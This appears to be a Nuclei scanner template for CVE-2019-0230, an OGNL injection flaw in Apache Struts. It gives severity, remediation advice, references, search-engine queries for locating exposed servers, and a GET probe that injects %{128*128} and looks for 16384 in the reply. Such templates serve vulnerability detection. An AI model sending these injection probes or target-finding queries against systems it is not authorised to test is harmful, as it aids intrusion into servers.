id: CVE-2019-0230

info:
  name: Apache Struts <=2.5.20 - Remote Code Execution
  author: geeknik
  severity: critical
  description: Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server.
  remediation: |
    Upgrade Apache Struts to a version higher than 2.5.20 or apply the necessary patches provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-0230
    - https://cwiki.apache.org/confluence/display/WW/S2-059
    - https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability
    - http://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.html
    - https://cwiki.apache.org/confluence/display/ww/s2-059
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-0230
    cwe-id: CWE-1321
    epss-score: 0.93849
    epss-percentile: 0.99847
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2019,tenable,packetstorm,struts,rce,apache
variables:
  str: "{{rand_base(6)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/?id={{str}}%25{128*128}"

    matchers:
      - type: word
        part: body
        words:
          - "{{str}}16384"
# digest: 4a0a00473045022100cfc10217c8f58e97cf83b047526d97e19b61ac42f64e3cc2a4716c579e40a54502205a71bd5e5d74ac487ff5d8fe4ecf74dd7d00d292e6eb07a81dfc6b386adf0680:922c64590222798bb761d5b6d8e72950